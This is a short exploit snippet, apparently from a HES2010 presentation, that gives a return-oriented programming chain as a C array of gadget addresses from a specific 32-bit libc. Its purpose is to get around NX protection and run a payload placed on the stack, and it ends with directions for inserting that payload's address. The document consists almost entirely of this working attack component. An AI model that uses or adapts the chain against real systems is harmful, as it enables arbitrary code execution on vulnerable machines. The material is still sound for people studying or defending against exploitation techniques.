HES2010 (scott->shelley) - ROP code for NX circumvention

// by petter wahlman, https://twitter.com/badeip

ROP code that allows execution of code on the stack despite NX protection.
Gadgets were found in /lib/tls/i686/cmov/libc.so.6, mapped at 0xb7e97000

unsigned int circumvent_nx[] = {
   0xb7e98a9e, 0xbffeb010, 0xb7eead45, 0xb7f5ffe0,
   0xb7ed0b78, 0xb7e98a9e, 0xbffeb014, 0xb7eead45,
   0x00000000, 0xb7ed0b78, 0xb7eb75dc, 0x11111111,
   0xb7e98a9e, 0xaeed9eef, 0xb7f1f6f1, 0xb7f64a5b,
   0xb7e98a9e, 0xbffeb018, 0xb7ed0b78, 0xb7eb75dc,
   0x11126111, 0xb7e98a9e, 0x11111111, 0xb7ec654e,
   0xb7e98a9e, 0xbffeb01c, 0xb7f64a5b, 0xb7ed0b78,
   0xb7eb75dc, 0x11111118, 0xb7e98a9e, 0x11111111,
   0xb7ec654e, 0xb7e98a9e, 0xbffeb020, 0xb7f64a5b,
   0xb7ed0b78, 0xb7eb75dc, 0xbffeb010, 0xb7f864c9,
   0xb7eb75dc
};

replace 0x00000000 at circumvent_nx[8] with the address of your stack payload.